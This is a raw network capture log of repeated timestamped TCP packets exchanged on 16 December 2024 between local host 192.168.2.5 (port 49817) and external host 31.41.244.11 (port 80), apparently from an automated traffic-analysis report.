Dec 16, 2024 09:01:09.921516895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.921597004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.028769970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.028814077 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.028840065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.028873920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.030103922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.030159950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.030246019 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.030297995 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.034840107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.034877062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.034894943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.034915924 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.039468050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.039508104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.039534092 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.039558887 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.044213057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.044250011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.044266939 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.044296980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.048830032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.048866987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.048885107 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.048914909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.053546906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.053601980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.053703070 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.053751945 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.058080912 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.058139086 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.058223009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.058274031 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.062834024 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.062889099 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.062957048 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.063008070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.067400932 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.067452908 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.067516088 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.067564964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.072041988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.072107077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.072175980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.072222948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.076786995 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.076848030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.076925039 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.076975107 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.081330061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.081382990 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.081453085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.081612110 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.086040020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.086100101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.086146116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.086195946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.090604067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.090663910 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.090730906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.090779066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.095231056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.095283031 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.095362902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.095408916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.099930048 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.099982023 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.099983931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.100033045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.104578972 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.104651928 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.104691982 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.104759932 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.109206915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.109260082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.109328985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.109374046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.113882065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.113934994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.113984108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.114032030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.118473053 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.118530035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.221311092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.221437931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.221504927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.221566916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.223093987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.223155022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.223258018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.223309040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.226814985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.226871967 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.226957083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.227010012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.230493069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.230564117 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.230592966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.230648994 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.234143972 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.234205008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.234247923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.234302998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.237696886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.237755060 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.237823963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.237873077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.241174936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.241230011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.241403103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.241452932 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.244708061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.244767904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.244980097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.245028973 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.247905970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.247970104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.248007059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.248055935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.251264095 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.251327991 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.251394987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.251450062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.254584074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.254648924 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.254704952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.254754066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.257999897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.258058071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.258059025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.258110046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.261328936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.261387110 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.261449099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.261497021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.264779091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.264839888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.264892101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.264945030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.268120050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.268167973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.268179893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.268218040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.271449089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.271498919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.271584034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.271707058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.274835110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.274883986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.274938107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.274982929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.278124094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.278168917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.278254986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.278307915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.281533003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.281580925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.281647921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.281692028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.284873962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.284919024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.284995079 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.285046101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.288217068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.288269997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.288345098 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.288393974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.291625977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.291698933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.291769028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.291820049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.294960976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.295017958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.295073986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.295124054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.298326015 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.298373938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.298458099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.298505068 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.301752090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.301801920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.301847935 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.301897049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.305067062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.305128098 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.305176973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.305224895 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.308442116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.308506012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.308588982 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.308634043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.311805010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.311881065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.311916113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.311964989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.315139055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.315185070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.315260887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.315305948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.318494081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.318547964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.318618059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.318674088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.321877003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.321924925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.322001934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.322045088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.413882971 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.413911104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.413953066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.413979053 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.415153980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.415216923 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.415304899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.415364027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.417576075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.417629957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.417748928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.417799950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.420438051 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.420490980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.420641899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.420691013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.423119068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.423171997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.423260927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.423310041 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.425873041 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.425930023 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.425951004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.425997972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.428391933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.428447008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.428502083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.428546906 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.431014061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.431063890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.431067944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.431113958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.433506012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.433553934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.433640957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.433685064 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.435945988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.435998917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.436074018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.436120033 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.438395977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.438451052 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.438584089 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.438631058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.440829992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.440880060 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.441011906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.441066980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.443208933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.443257093 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.443356037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.443407059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.445579052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.445627928 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.445826054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.445873976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.447886944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.447940111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.448007107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.448055983 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.450195074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.450244904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.450311899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.450359106 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.452512026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.452559948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.452640057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.452687979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.454792023 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.454840899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.454921007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.454967976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.457070112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.457118034 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.457196951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.457245111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.459381104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.459434986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.459505081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.459553003 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.461746931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.461796999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.461862087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.461911917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.464006901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.464063883 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.464128017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.464175940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.466296911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.466346979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.466412067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.466460943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.468602896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.468652010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.468718052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.468766928 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.470875978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.470927000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.470992088 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.471040010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.473206997 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.473273993 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.473344088 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.473392010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.475466013 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.475517035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.475588083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.475637913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.477777004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.477824926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.477891922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.477938890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.480055094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.480108976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.480178118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.480225086 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.482434034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.482486010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.482574940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.482623100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.484730005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.484777927 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.484843969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.484893084 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.486999035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.487047911 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.487112999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.487159014 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.489276886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.489329100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:10.489392996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:10.489440918 CET	49817	80	192.168.2.5	31.41.244.11
